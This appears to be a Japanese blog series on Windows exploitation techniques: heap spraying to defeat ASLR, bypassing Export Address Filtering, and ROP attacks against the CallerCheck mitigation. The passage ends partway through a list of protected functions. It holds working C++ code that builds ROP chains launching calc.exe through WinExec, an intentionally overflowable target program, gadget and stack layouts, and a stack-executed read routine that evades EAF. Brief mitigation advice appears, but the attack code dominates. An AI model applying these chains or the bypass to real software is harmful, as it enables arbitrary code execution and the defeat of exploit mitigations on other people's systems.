Heap spraying攻撃の手順と原理解説

防御技術ではなく攻撃技術についての解説。

対Heap spraying技術は出てきません。

※ここから先の全てはWindows10 1909での情報であり、それ以外では異なる可能性があります。

忙しい人向けHeap sprayingまとめ

  • Heap sprayingとはヒープを特定データで大量に埋めることで固定アドレス指定で任意のデータや処理を引き当てる手法
  • ROPで攻撃するなら50MBほどNOP互換のデータをヒープに確保し末尾に目的のROPコードを仕込んだうえで、ESPを0x03C00000+αにすればROPが成立する
    • ヒープはメモリ空間の頭から順に確保される
    • ランダム幅は定常的な物20MBとコンパイルオプションで最大32MB
      • ちょっと余裕を見て60MBと見るのが良い
    • ヒープに60MB確保すれば0x03C00000+.exeごとのオフセットにその60MBのどこかがヒットする
  • コンパイルオプションやExploit Protectionに対策技術はない
  • 64bitにしてHigh Entropy ASLRが効果的
  • Heap sprayingはあくまでASLR迂回技術なのでBuffer overflowなどのその他脆弱性への対策が十分ならば問題にならない

前置き

ASLRにより固定アドレスが参照できないというのは攻撃者にとっては非常に厄介です。

実際何ら対策が施されていないアプリでBuffer overflowを起こしても、アドレスが不明だと素直な攻撃は一切通らず、せいぜいがクラッシュさせる程度が関の山だったり。

そのためクラッカーの間で様々なASLRの迂回技術が研究されてきました。

今回紹介するHeap spraying(日本語訳:ヒープスプレー)もその1つで、最近は主にブラウザへの攻撃で猛威を振るっています。

概要ぐらいは知っている人も多いとは思いますが具体的にどの程度の難度なのかは把握していない人も多いのではないかと思います。

今回はそのあたりを少しでも示して行けたらなと。

Heap sprayingとは何か

Heap sprayingとは、ヒープを大量のデータで埋めることで固定アドレス指定でも任意のデータにたどり着ける状態を作り出すことです。

例えば機械語であれば大量のNOPで埋めた後その末尾に目的の命令を置けば実質的にNOPのどこを指しても目的の命令の先頭アドレスを指したのと同じ意味になります。

これはROPなどでも同様で、攻撃手法ごとに様々なNOP互換のデータが考案されている状態です。

このようにして固定アドレスを指定できるようになるとASLRの影響を一部とはいえ無視することが可能になり、情報漏洩脆弱性との併用なしでの実行が可能になるなど攻撃コードの可搬性を高めることが出来ます。

詳しい解説は置いておいてとりあえず実践してみましょう。

実際に攻撃してみる

以前の記事からROPの攻撃コードを拝借してちょっと改造してみます( Download )

※ROPとはなにかや改造前のコードについての解説はしません、詳細は過去の記事を参照してください。

#define _CRT_SECURE_NO_WARNINGS
#include <cstdio>

#include <vector>

int main(const int argc, const char * const * const argv) {
   unsigned int size;
   std::vector<char> name;
   FILE *const fp = std::fopen("data.bin", "rb");
   std::fread(&amp;size, sizeof(size), 1, fp);
   if (size == 0) {
      return 0;
   }
   name.resize(size);
   std::fread(&amp;name[0], 1, size, fp);
   std::fclose(fp);
   __asm {
      mov esp, 0x03EE0000;
      ret;
   };
   std::printf("name: %s\n", &amp;name[0]);
   return 0;
}

攻撃対象をBuffer overflowしない形に改造、またなんらかの攻撃を受けた想定で固定アドレスにreturnしています。

std::vectorはどこにメモリーを確保するかわかりませんし、スタックポインタをいじれるにしてもぱっと見ではROPにつなげるのは難しく見えますね。

ですが攻撃できます、攻撃ファイル生成コードがこちら。

std::vector<unsigned char> build(const unsigned int padding, const unsigned int bufferAddress) {
   std::vector<unsigned int> rop;
   const unsigned int ret = searchGadget(3, [](auto mem){return mem[0] == 0xC3;});
   const unsigned int movEaxEcx = searchGadget(3, [](auto mem){return mem[0] == 0x8B &amp;&amp; mem[1] == 0xC1 &amp;&amp; mem[2] == 0xC3;});
   const unsigned int popEcx = searchGadget(2, [](auto mem){return mem[0] == 0x59 &amp;&amp; mem[1] == 0xC3;});
   const unsigned int movDwordPtrDsEaxEcx = searchGadget(3, [](auto mem){return mem[0] == 0x89 &amp;&amp; mem[1] == 0x08 &amp;&amp; mem[2] == 0xC3;});
   for (unsigned int i = 0; i < 60 * 1024 * 1024 / sizeof(unsigned int); i++) {
      rop.push_back(ret);
   }
   rop.push_back(popEcx);
   rop.push_back(bufferAddress);
   rop.push_back(movEaxEcx);
   rop.push_back(popEcx);
   rop.push_back(0x636C6163); // "calc"
   rop.push_back(movDwordPtrDsEaxEcx);
   rop.push_back(popEcx);
   rop.push_back(bufferAddress + 4);
   rop.push_back(movEaxEcx);
   rop.push_back(popEcx);
   rop.push_back(0x6578652E); // ".exe"
   rop.push_back(movDwordPtrDsEaxEcx);
   rop.push_back(popEcx);
   rop.push_back(bufferAddress + 8);
   rop.push_back(movEaxEcx);
   rop.push_back(popEcx);
   rop.push_back(0x00000000); // "\0"
   rop.push_back(movDwordPtrDsEaxEcx);
   rop.push_back(reinterpret_cast<unsigned int>(WinExec));
   rop.push_back(ret);
   rop.push_back(bufferAddress);
   rop.push_back(SW_SHOW);
   rop.push_back(reinterpret_cast<unsigned int>(ExitProcess));
   rop.push_back(ret);
   rop.push_back(255);
   std::vector<unsigned char> result;
   result.resize(padding);
   const unsigned char * const begin = reinterpret_cast<const unsigned char *>(&amp;rop[0]);
   const unsigned char * const end = begin + rop.size() * 4;
   result.insert(result.end(), begin, end);
   return result;
}

ハイライトされている行で60MB詰め物しているだけです。

では実行してみましょう。

attacker.exeを起動してファイル生成後target.exeを実行してみましょう。

電卓が起動したはずです。

試しに何度か実行してみても同じ結果のはずです。

これでどうして安定動作するのでしょうか?

なぜこうなったのか

Heap sprayingの概要説明で大量のNOPで埋めると書きました。

実際上記のコードで埋めているコードは無意味にretするコードであり、ROPにおいてはNOPに該当するコードと言って差支えがありません。

しかし以前説明したように固定アドレスでアクセスできるようメモリを埋めるのはx86アーキテクチャであってもメモリ空間は4GBもあり、たかが60MBで高確率と言えるほど埋まるのは直感に反しています。

この不思議を説明するには、ヒープのアドレスがどう決まるのかについて大雑把にでも理解する必要があります。

ヒープアドレスはどう決まる?

ヒープアドレスを知るにはメモリがどのように使用されていくかを把握しなければなりません。

各種メモリは大きく分けて3種の方法で割り当てられます。

  • 固定アドレス
  • アドレス番地の小さい順に確保
  • アドレス番地の大きい順に確保

具体例を挙げると.exeファイルは固定アドレス、ヒープやスタックは小さい順、ほとんどの.dllは大きい順に属しています。

例えば.exeでベースアドレスをfixedで0x00400000と指定すればその通りに割り当てられるのが固定アドレス。

※/DYNAMICBASEを指定した.exeも指定ベースアドレスを基準にランダム幅があるだけなので固定に属しています。

ntdll.dllが0x775C0000に割り当てられたなら、次のwow64cpu.dllは0x775B0000に割り当てられるといった形でアドレスが若くなっていくので大きい順。

小さい順はその逆です。

領域が被った時は早い者勝ちですが、プロセス初期化などほぼ同時に処理される箇所では固定 >小さい順 >大きい順の優先度で確保していると考えると大体実態通りの結果になります(もちろん例外はたくさんあります)

そしてヒープは小さい順に属しています。

つまり他のメモリ確保が存在せず、ランダム幅もなく、その他例外事項もなければ最初のヒープは0x00000000に確保されます。

となると小さい順に他の何が属しているのか、サイズはどれぐらいか、ランダム性はあるのか、その他何か特殊挙動はないかが問題となってきます。

次項からはわかっている範囲でそれらを順に記載していきます。

NULL page

Null pointer dereferenceの問題から間違ってもNULLポインターの先にメモリが存在しないよう、0x00000000にはページ割り当てできないようになっています。

そのためなにがあっても一番小さいアドレスは0x00010000となります。

Bottom-up ASLR

昔、小さい順に確保するメモリについてランダム性が低くほぼ固定アドレスだったため問題視されることがありました。

そこで小さい順メモリ全体に影響するランダム化として考案されたのがBottom-up ASLRです。

具体的には一番最初に確保するメモリを0x00010000-0x00FF0000の範囲を0x10000刻みの255パターンからランダムに選ぶというものです。

選んだ箇所が既に使用中の場合、それ以降から下4桁が0x0000になる範囲で最初に空いている箇所が選ばれます(ので.exeの固定配置で0x00010000-0x00FF0000を埋めると実質無効化が出来ます)

.exeの/DYNAMICBASE

ベースアドレス未指定の場合.exeも0x00010000-0x00FE0000の範囲からスタートするように割り当てられます。

前述のとおり小さい順確保のメモリよりも先に占有するため、既にメモリが埋まっていることがあり、その場合は.exeの使用領域を飛び越えその後ろへ割り当てられます。

スタックベースアドレスランダマイズ

スタックはヒープより先に確保され、なおかつベースアドレスはランダマイズされています。

ランダム幅は0x00010000ごとに32通りで最大0x001F0000ずれます。

ヒープベースアドレスランダマイズ

ヒープのベースアドレスもランダマイズされています。

ランダム幅は0x00010000ごとに32通りで最大0x001F0000ずれます。

ヒープ内ランダマイズ

ヒープは既存確保内で提供できるサイズの場合、ヒープ内先頭からではなくランダムな箇所からメモリを払い出す機能を保持しています。

そのため同じようにヒープを確保しても同じアドレスにはなりません。

残容量など次第ではありますが、おおよそ508KB以下の確保が対象となります。

ヒープ内ガードページ

ヒープは一定のルールに従ってガードページ(アクセス不能領域)を挿入しています。

  • 一度の確保メモリが128KB以下
    • 合計が64KBを超えるごとに4KBのガードページ
  • 一度の確保メモリが508KB以下
    • ガードページなし
  • それ以上
    • サイズ関係なく毎回4KB*(0~15のランダム)のガードページ

これらはヒープアロケーターに何を使っているかに対応しています。

詳しくはLFHアロケーター、VSアロケーター、ヒープバックエンドなどで調べてください。

Control Flow Guard

Control Flow Guardのマップ情報もスタックやヒープより前に確保されます。

サイズは環境によって変動しますが、Windows x86だと最大で32MB使用します。

連続した巨大メモリが必要であるため、.exeなどのアドレス次第で割り当てメモリが大きくずれることがあります。

その他

ヒープより手前で確保されるメモリは多岐にわたりそのすべてを紹介することはできません(し、私も把握していません)

一応私が把握している範囲で上記にあげなかったものをいくつか名前だけ上げておきます。

  • Shim
  • Api Sets
  • Process Environment Block
  • Thread Information Block

もちろん上記以外にもあります。

また、ここまでで上げた物以外でランダム幅がある物は今の私が知る範囲では確認していません。

ヒープアドレスまとめ

  • ヒープはアドレスの小さい方から順に確保していく領域にいる
  • 固定で毎回発生するランダム幅
    • 0x00FE0000(Bottom-up ASLR)+0x001F0000(スタック)+0x001F0000(ヒープ)
    • =>約20MB
  • Control Flow Guardの有無も考慮する場合+32MB
    • =>約52MB
  • その他メモリ使用量の増減を警戒し多少幅を持たせる場合
    • =>約60MB

というわけで環境にもよりますがヒープは60MB程度しか前後しないことがわかりました。

ここから攻撃したいタイミングでどの程度ヒープを消費しているかを加えて計算すれば、おおよそ60MB確保時にアクセス可能なアドレスを導出できてしまいます。

今回のtarget.exeで言えばランダム幅を無視したオフセットは0x2E0000であるため、それに60MBを足した0x3EE0000にアクセスすればほぼ確実にヒープ内にアクセスできたわけです。

実際手元の環境ではサンプルを1万回実行しても100%攻撃成功しました。

当然ですが60MB一続きである必要はなく、508KBほど確保して末尾に攻撃コードを仕込むを120回繰り返しても大体同じ効果があります(その場合若干失敗する可能性が出てきます)

また複数の乱数が合わさって機能しているため、最小値や最大値は出る確率が低く平均値付近が出やすいという偏りが発生しています。

一度だけ攻撃が通ればいいという状況の場合、さらに攻撃難度は低下するでしょう。

対策

Heap Sprayingに現在Windowsで標準的に提供されている範囲(コンパイルオプションやExploit Protection)に対策はありません。

そのうえで対策を行う場合以下が挙げられます。

x64でアドレス空間を広げて難易度を上昇させる

x64ではランダム幅を大幅に広げることが出来ます(High Entropy ASLR)

それにより確保しなければならないメモリーを大幅に上昇させることができ、攻撃の難度が大きく向上します。

もし可能であるならば一番現実的かつ効果的な対策になるでしょう。

そもそも攻撃させない

Heap sprayingはあくまで他の脆弱性ごしの攻撃時にASLRを回避するために使用するものです。

逆に言えば単独では何ら害のない攻撃であり、放置していても何の問題もありません。

Buffer overflowやUse-after-free攻撃などへの対策を万全に行い脆弱性の総数を大幅に減らすことが出来れば、相対的に脅威度は大幅に下がります。

メモリの確保を外部に許可しない

これはアプリの種類によっては非常に難しい物です。

要するに外部からの指示で任意のデータをメモリ上に配置してしまうのが問題なので、全て自分の中で完結した動作しかしなければHeap sprayingは何ら問題にはなりません。

また確保させる場合でも合計で20MB以下に抑えることが出来れば成功率が下がり防御効果がある可能性があります。

とはいえ設定ファイルやアプリ拡張などをユーザーやサードパーティーから読み込む構造である場合どうしようもないことがほとんどです。

終わりに

今回は駆け足で大した解説が出来ていませんが、Heap sprayingについて理解する始めの一歩程度に役立ったなら幸いです。

今回浅くしか説明できなかった各要素についていずれ深堀出来たらよいのですが……。

ではまた、次の記事で。

エクスプロイトを書きつつ学ぶWindowsセキュリティー機能 ~Export Address Filtering~

今回も敗北回、もしくは注意喚起。

忙しい人向けExport Address Filteringまとめ

  • 任意コード実行が出来た後のAPIアドレス特定を阻止する
  • 方法は特定.dllのexport関数一覧への不正アクセスを検知してクラッシュする
  • 対象はkernel32.dllとkernelbase.dllとntdll.dll
    • 悪用される率が高いからと思われる
  • 不正アクセスとは正規にロードされたバイナリのコード領域以外からの読み取り
    • 実行可能属性ついたヒープやスタックからだと不正扱い
  • 回避は楽勝すぎて防御は無いも同然

前置き

クラッカーの攻撃にも段階があるわけですが、今回はヒープやスタックに配置したコードを実行できたが、APIを叩く準備はできていない段階への対策技術です。

なぜこの段階が重要かというと、脆弱性をついての攻撃では往々にしてリンク処理の恩恵を受けられないため、各種APIのアドレスがわからずただの計算しかできないタイミングというのが高確率で生まれるからです。

そこで攻撃者はAPIアドレス特定作業を行うわけですが、仮にそれを全て阻止できたならばクラッシュさせる程度の被害しか出すことが出来ず、被害の最小化を図れるのでは?という考え方ですね。

そういった考えに基づき、APIアドレス特定で定石の1つであるExport Address Tableを読む処理を対象に無効化を試みたのがExport Address Filtering(以降EAF)です。

とはいえアプローチには無理があったようで……?

Exploit1: WinExecのアドレス取得

※ここからはサンプルを交えて解説していきます( Download )

今回は侵入自体は成功した後の防御なので、想定する状況は少々複雑で

  • 任意コード実行に成功している
    • ヒープかスタック上で実行されている
  • ロード済みの.dllの一覧とアドレスも取得できている
    • それ以外のアドレスは不明
    • .dllのバージョンも不明
  • 結果各APIのアドレスは不明

この状況から攻撃にもっていきます、本記事では電卓(calc.exe)の起動を目標としましょう。

簡便化のため、実際にスタック領域にコードを置くのではなく、普通にコード領域に実装するがメモリアクセスだけスタック領域に置いたコードを通すようにします。

なので見た目的にはただの一般アプリとなります。

やることは単純で、普段ローダーがリンク時に行うアドレス解決と同様の手法でWinExec関数のアドレスを入手し”calc.exe”を引数に渡して実行する、これだけ。

ちなみに.dllのアドレス取得の流れは本記事では解説しません。

知りたい人は Process Environment Block で調べてみると良いでしょう。

実際に試してみよう

サンプルの中のNoGuard.exeを実行してみると電卓が起動します。

といってもこれだけだと何が何やらだと思うのでコードの方も見ていきましょう。

std::map<std::string, unsigned int> ParseEAT(HMODULE module) {
   const unsigned char* const baseAddr = reinterpret_cast<unsigned char*>(module == NULL ? ::GetModuleHandleW(NULL) : module);
   const IMAGE_DOS_HEADER&amp; mz = *reinterpret_cast<const IMAGE_DOS_HEADER*>(baseAddr);
   const IMAGE_NT_HEADERS32&amp; pe = *reinterpret_cast<const IMAGE_NT_HEADERS32*>(baseAddr + readDWORD(&amp;mz.e_lfanew));
   const IMAGE_EXPORT_DIRECTORY&amp; dir = *reinterpret_cast<const IMAGE_EXPORT_DIRECTORY*>(
      baseAddr
      + readDWORD(&amp;pe.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress));
   const unsigned int * const funcs = reinterpret_cast<const unsigned int *>(baseAddr + readDWORD(&amp;dir.AddressOfFunctions));
   const unsigned int * const names = reinterpret_cast<const unsigned int *>(baseAddr + readDWORD(&amp;dir.AddressOfNames));
   const unsigned short * const ordinals = reinterpret_cast<const unsigned short *>(baseAddr + readDWORD(&amp;dir.AddressOfNameOrdinals));
   std::map<unsigned int, std::string> ordinalNameMap;
   for (unsigned int index = 0; index < readDWORD(&amp;dir.NumberOfNames); index++) {
      const unsigned int ordinal = readWORD(&amp;ordinals[index]);
      ordinalNameMap[ordinal] = readString(reinterpret_cast<const char *>(baseAddr + readDWORD(&amp;names[index])));
   }
   std::map<std::string, unsigned int> result;
   for (unsigned int index = 0; index < readDWORD(&amp;dir.NumberOfFunctions); index++) {
      const unsigned int func = reinterpret_cast<unsigned int>(baseAddr) + readDWORD(&amp;funcs[index]);
      if (!ordinalNameMap.contains(index)) {
         continue;
      }
      result[ordinalNameMap[index]] = func;
   }
   return result;
}

int main() {
   const auto WinExec = reinterpret_cast<UINT (__stdcall *)(LPCSTR, UINT)>(ParseEAT(::GetModuleHandleA("kernel32.dll"))["WinExec"]);
   WinExec("calc.exe", SW_SHOW);
   return 0;
}

kernel32.dllに備わるExport Address TableをパースしてWinExecのアドレスを取得して実行しているだけです。

パース自体難しそうに見えるかもしれませんが、全てMSDNに定義が載っているので時間さえかければ誰でも書ける程度のものです。

一応スタック上から実行していることをエミュレートするために読み取りはread*関数を通してアクセスしています。
※read*はスタック上にコードを書いてそこを実行しています。

これで.dllのアドレスさえわかれば中のAPIを呼ぶことは難しくないのは伝わったかと思います。

Exploit1まとめ

  • GetProcAddressを通さなくてもExport Address Tableをパースすればアドレスはわかる
  • Export Address Tableへのアクセスやパースに他APIは必要ない
  • 通常はスタックからアクセスしても問題はない

次はこれにEAFで対抗します。

EAFで防御

EAFはExploit ProtectionというWindows10に備わったセキュリティ機能群の一つです。

Windows10以前ではEMETというセキュリティツールによって提供されていました(現在はサポート終了)

EAFとは?

一部の.dllのExport Address Tableへのアクセスを制限する機能です。

対象は以下の通り。

  • kernel32.dll
    • AddressOfFunctionsへのアクセスを禁止
  • kernelbase.dll
    • AddressOfFunctionsへのアクセスを禁止
  • ntdll.dll
    • DataDirectoryのVirtualAddressへのアクセスを禁止

※AddressOfFunctionsなどは実際に上のコード片でも触れているので読み返してみるのも良いでしょう。

メモリーをアクセス禁止にし、アクセス時に上がる例外をキャッチしてあれこれする形で実装されています。

具体的には、該当メモリにPAGE_GUARD属性を付与してアクセスを禁止。
アクセス時に発生した例外をキャッチし不正なアクセスならばアプリをクラッシュ。
正当なら一瞬PAGE_GUARDを解除してシングルステップ実行で読み取らせ再度PAGE_GUARDを付与。
正当か不正かはコードの配置されたメモリが正当にリンクされたコード領域上かを見て判断しています。

EMETに最初実装された際はデバッグレジスタという該当メモリにアクセスしたこと自体をトリガーとする技術が使われていましたが、4か所しか設定できない、競合することが多いなど批判が多かったためか変更されたようです。
(噂レベルですが、IEと競合して解決できなかったからとも?)

EAF有効化方法

EAFは手動でExploit Protectionから有効にする必要があります。

Windowsキー>Exploit Protectionと入力>プログラム設定>プログラムを追加してカスタマイズ>ファイルパス

上記で対象.exeを追加しEAFを有効にすることで試すことが出来ます。

実際に試してみよう

Exploit1の.exeを対象にしてEAFを有効にして実行してみましょう。

電卓が起動せずクラッシュしたら成功です。

防がれた原理としては、65行目のアクセスがEAFの判定対象となり、スタックからのアクセスであるため不正とみなされたわけです。

      + readDWORD(&amp;pe.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress));
   const unsigned int * const funcs = reinterpret_cast<const unsigned int *>(baseAddr + readDWORD(&amp;dir.AddressOfFunctions));
   const unsigned int * const names = reinterpret_cast<const unsigned int *>(baseAddr + readDWORD(&amp;dir.AddressOfNames));

EAFで防御まとめ

  • EAFはExport Address Tableへのアクセスを制限する
  • スタックからだと単純に読むのは無理
  • EAFは設定アプリのExploit Protectionから有効化

さてここまではEAFも有用そうに見えますが……?

Exploit2: EAF回避

実はEAFには致命的欠陥があり簡単に回避できてしまいます。

EAFはアクセス範囲ではなくアクセスの先頭アドレスだけを見ている上に、完全一致で弾くべきかどうかを見ています。

なので少し読み取りアドレスを前後させてやるだけで簡単に回避できます。

実際に試してみよう

サンプルのBypassEAF.exeを前回同様の手順でEAF保護したうえで起動してみましょう。

今回は問題なく電卓が起動してしまったはずです。

なぜこうなったのか

差分はスタックからの読み取り関数に若干の修正を入れただけです。

unsigned int readDWORD(const void * const addr) {
   unsigned char code[] = {
      0x3E, 0x8B, 0x44, 0x24, 0x04, // MOV EAX, DWORD PTR DS:[ESP+4]
      0x8B, 0x00,                   // MOV EAX, DWORD PTR DS:[EAX]
      0xC2, 0x04, 0x00              // RETN 4
   };
   DWORD oldProtect;
   ::VirtualProtect(code, sizeof(code), PAGE_EXECUTE_READWRITE, &amp;oldProtect);
   const unsigned int result1 = reinterpret_cast<unsigned int (__stdcall *)(const unsigned int)>(&amp;code)(reinterpret_cast<unsigned int>(addr) - 2);
   const unsigned int result2 = reinterpret_cast<unsigned int (__stdcall *)(const unsigned int)>(&amp;code)(reinterpret_cast<unsigned int>(addr) + 2);
   ::VirtualProtect(code, sizeof(code), oldProtect, &amp;oldProtect);
   return (result1 >> 16) | (result2 << 16);
}

わかりやすく簡略化すると

unsigned int * ptr = addr;
*ptr;

から

unsigned int * ptr1 = addr - 2;
unsigned int * ptr2 = addr + 2;
(*ptr1 >> 16) | (*ptr2 << 16); // ptr1の上位2byteとptr2の下位2byteをくっつける

に読み方を変えただけです。

これらは意味的には完全に等価であり、後者が若干遅いという以外に違いがありません。

またスタック上に書くのが難しい/実行が難しい/なんらかの技術で検出できる、などの制約も皆無と言ってよく、事実上ほぼ0コストで実現できてしまいます。

回避コストがほぼ0であるため、原理がわかれば事実上無防御とほぼ変わりがない状態と言えるでしょう。

EAF回避まとめ

  • EAFは読み取りアクセスを軽く前後にずらすだけで回避できる
  • ずらすのはとても簡単

ちなみにこの致命的さ具合は脆弱性なのでは?とMSに報告を送ってみましたが

「修正する気はないので公開したければ好きにするといいよ(意訳」

とのことで、MS自体もうEAFを切り捨てているも同然のようです。

その他回避法色々

アドレスずらしただけで回避できた時点で相当ですが、他にもいろいろと回避方法が存在するのでほんのり触れておきます。

ROPで回避

ROPにより正規.dllのコード領域からメモリ読み込み命令することが可能です。

これを用いてAddressOfFunctionsなどを読んでやれば回避できます。

マルチスレッド

PAGE_GUARDを解く際にもスレッドは中断されないので、他のスレッドが正規アクセスをしPAGE_GUARDが解除された瞬間に読み取りを指示すれば問題なく読むことが出来ます。

VirtualProtect

PAGE_GUARDを付与しているのが要であるためVirtualProtectAPIなどを利用してPAGE_GUARDを解除できれば問題なく読むことが出来ます。

総評

本記事ではさらっと流しましたがEAFはROPによる回避が出来た時点で事実上死んだ技術です。

ROPも多少手間とはいえ完全な回避策であるため、ROPの対策が為されない限り不意打ち防御としてしか意味がないためです。

そして現状のWindowsではROPに対する対策はROPを使われる前に止める以上のものがありません。

だからこそアドレスずらしという更に安易な回避法が見つかっても、そちらに対処することなく放置する選択を取っているのでしょう。

EAFに動作不良リスクを負ってまで採用する価値はありません。

終わりに

ネガキャン回が続いていますが、セキュリティ技術というものは基本的にリスクが高い技術なので、突破されるなどして有用性を喪失した技術はしっかりと見分けて除外する必要があります。

その点で言うとEAFは間違いなく有用性を喪失しているため、万が一にも採用はお勧めしません。

私の書いている記事群がそういった見極めの良い材料となっていることを願います。

ではまたいつの日か。

エクスプロイトを書きつつ学ぶWindowsセキュリティー機能 ~CallerCheckとSimExec~

敗北回です。

忙しい人向けまとめ

  • Return-oriented Programmingとは引数も戻り先アドレスもスタックで管理しているのを利用する任意コード実行攻撃である
  • CallerCheckとSimExecはそれを検出して弾くためのEMET/Exploit Protectionの機能
  • CallerCheckはcallで飛んできたかを調べretなどで来たなら弾く
  • SimExecは20命令分までCallerCheckを繰り返す
  • ただしどちらも仕組みがバレれば対策は容易
  • Return-oriented Programming対策は今もまだ決着していない

前置き

バッファオーバーフローなどの脆弱性があってもそれだけでは任意コード実行には繋がりません。

ただメモリを書き換えるだけではなく、制御を奪い処理を変えてやる必要があります。

そういった任意コード実行につなげる技術の中でも、一際強力なものの1つにReturn-oriented Programming(以降ROP)があります。

CallerCheckもSimExecもこのROPを封じるために生まれ、力及ばず衰退したEMET/Exploit Protectionの機能です。

今回はROPとは何かを実物を交えて解説し、そこからCallerCheckやSimExecの対策の内容、およびROPがどのようにしてそれらを攻略していったかを解説していきます。

※本記事はx86アセンブリの基礎知識を必要とします。

Return-oriented Programmingとはなにか

※ここからはサンプルを交えて解説していきます( Download )

攻撃対象アプリとして以下を用意しました(ASLR/BufferSecurityCheck無効、DEP有効)
サンプルの1フォルダにもNoGuard/target.cppおよびtarget.exeとして入っています。

#include <cstdio>
#include <cstring>

static char filename[256];

int main(const int argc, const char * const * const argv) {
   std::strcpy(filename, argv[0]);

   unsigned int size;
   char name[64];
   FILE *const fp = std::fopen("data.bin", "rb");
   std::fread(&amp;size, sizeof(size), 1, fp);
   std::fread(name, 1, size, fp);
   std::fclose(fp);
   std::printf("name: %s\n", name);
   return 0;
}

ハイライトしている箇所を見るとバッファオーバーフローが発生しています。

スタックのアドレスは以下の通り(コンパイル環境により異なります)

アドレス例中身
0x0019FEE8name[64]
0x0019FF28なにか
0x0019FF2Creturnアドレス
0x0019FF30argc
0x0019FF34argv/size(再利用)

sizeを72にしてreturnアドレスの部分を上書きしてやれば任意のアドレスを実行できそうです。

しかし任意のアドレスが実行できたとして、どうすれば任意の処理を行わせることが出来るのでしょうか?

そこで登場するのがROPです。

ROPとは要するに既存のコードを利用してスタック上でプログラミングする技術のことです。

ROPの大きな特徴としてDEPが有効であっても問題なく機能するというものがあります。

これは実行されるのはあくまでスタックが指している先でありスタック上は読み取りアクセスしかされないことに起因しています。

自由度も高く、目的となる処理を含むイメージ(今回はntdll.dll)の存在するアドレスさえわかれば大抵の処理は実装出来ます。

実際に試してみよう

NoGuard.exeを実行しdata.binが出力されたのを確認したあとtarget.exeを実行してみてください。

おそらくは電卓が起動したかと思います。

なぜこうなったのか

攻撃時のスタックは以下の通り

アドレス例中身ROPの内容備考
0x0019FEE8name[64]適当に0で埋める 
0x0019FF28なにか適当に0で埋める 
0x0019FF2Creturnアドレスpop ecx; ret;のアドレス 
0x0019FF30argcfilenameのアドレス 
0x0019FF34argv/size(再利用)mov eax, ecx; ret;のアドレス 
  pop ecx; ret;のアドレス 
  0x636C6163“calc”
  mob DS:[eax], ecx; ret;のアドレス 
  pop ecx; ret;のアドレス 
  filenameのアドレス + 4 
  mov eax, ecx; ret;のアドレス 
  pop ecx; ret;のアドレス 
  0x6578652E“.exe”
  mov DS:[eax], ecx; ret;のアドレス 
  pop ecx; ret;のアドレス 
  filenameのアドレス + 8 
  mov eax, ecx; ret;のアドレス 
  pop ecx; ret;のアドレス 
  0x00000000“\0”
  mov DS:[eax], ecx; ret;のアドレス 
  WinExecのアドレス 
  ExitProcessのアドレス 
  filenameのアドレス 
  SW_SHOW(0x05) 
  0x00000000 

このコードは要するに以下を実現するためのコードです。

::WinExec("calc.exe", SW_SHOW);
::ExitProcess(0);

NoGuard.exeの動作に必要な情報は以下の通りです。

returnアドレスまでの距離68
適当に書き換え可能なアドレス(今回はfilename0x41C2D0
ntdll.dllのベースアドレス0x77080000
ntdll.dllの中身

では順に解説していきましょう。

「pop ecx; ret;のアドレス」というのはそのままpop ecx; ret;と命令が並んでいるコード領域のアドレスのことです。

DEPを回避する必要があるので.exeか.dllのコード領域内から見つけなければいけませんが、条件はそれだけなので関数の途中は当然のこと、場合により4byteの数値定数が偶然命令と同一になっている場合でも利用できます。

実際に以下を実行する場合を考えると

0x0019FF2Creturnアドレスpop ecx; ret;のアドレス
0x0019FF30argcfilenameのアドレス
0x0019FF34argv/size(再利用)mov eax, ecx; ret;のアドレス
  • pop ecxのアドレスに移動する
  • pop ecxが実行されecxレジスタにfilenameのアドレスが代入される
  • retで次のmov eax, ecx; ret;に移動する

となります。

このように何か+ret命令のセットを次々実行していき任意の処理を実行するわけです。

ちなみにntdll.dllのベースアドレスなどが必要なのは、これらのコードの探索をntdll.dllの中から行っているためです。

逆に言えば他の領域から見つけることが出来るのであればそちらでも何も問題はありません。

以降を疑似コードで表現すると以下の通り。

unsigned int eax;
unsigned int ecx;
ecx = filename;
eax = ecx;
ecx = 0x636C6163; // "calc"
*reinterpret_cast<unsigned int *>(eax) = ecx;
ecx = filename + 4;
eax = ecx;
ecx = 0x6578652E; // ".exe"
*reinterpret_cast<unsigned int *>(eax) = ecx;
ecx = filename + 8;
eax = ecx;
ecx = 0x00000000; // "\0"
*reinterpret_cast<unsigned int *>(eax) = ecx;
WinExec(filename, 5/* SW_SHOW */);
ExitProcess(0);

※直にeaxにfilenameを代入するコードはWindows7のntdll.dllからは見つからなかったため、一度ecxを経由するなど手間をかけています。

Return-oriented Programmingまとめ

  • ROPはバッファオーバーフローなどから任意コード実行につなげる技術
  • スタック上だけでプログラミングできる
  • 何か+retの命令を見つけてきて継ぎ接ぎする形で実現
  • DEPは回避できる

このようにして任意コード実行を行うのがROP、次はこれにCallerCheckで対策を行います。

CallerCheck

一般的なアプリであれば関数は基本的にcall命令で呼びます。

なので戻り先アドレスの1つ前を見ればよっぽどのことが無い限りcall命令が見つかります。

逆にROPはretで移っていくためそのような性質を持ちません。

CallerCheckはその点に着目した技術で、戻り先アドレスの1つ前の命令が正しくcallであることをチェックし、そうでないならクラッシュします。

実際に試してみよう

CallerCheckは手動でExploit Protectionから有効にする必要があります。

Windowsキー>Exploit Protectionと入力>プログラム設定>プログラムを追加してカスタマイズ>ファイルパス

ここで先ほどのtarget.exeを指定した上でCallerCheckを有効にしてから起動してみましょう。

無事電卓起動が阻止され強制終了するはずです。

なぜこうなったのか

CallerCheckは戻り先アドレスの一個前の命令が正しいcallでない場合はそこで強制終了する技術と書きました。

現実にはこのチェックをいつどこでやるかが問題となりますが、CallerCheckではROPで攻撃されやすい関数一覧を保持しており、それらの関数の頭部分でチェックするようにしています。

今回はWinExecの呼び出しでチェックがかかり、call命令ではなかったため実行前にクラッシュしたわけです。

対象関数

共通
ntdll.dll:
   LdrLoadDll
   NtAllocateVirtualMemory
   NtCreateProcess
   NtCreateProcessEx
   NtCreateSection
   NtCreateThreadEx
   NtCreateUserProcess
   NtProtectVirtualMemory
   NtWriteVirtualMemory
   RtlCreateHeap
   ZwAllocateVirtualMemory
   ZwCreateProcess
   ZwCreateProcessEx
   ZwCreateSection
   ZwCreateThreadEx
   ZwCreateUserProcess
   ZwProtectVirtualMemory
   ZwWriteVirtualMemory
kernel32.dll:
   CreateFileMappingA
   CreateFileMappingW
   CreateProcessA
   CreateProcessInternalA
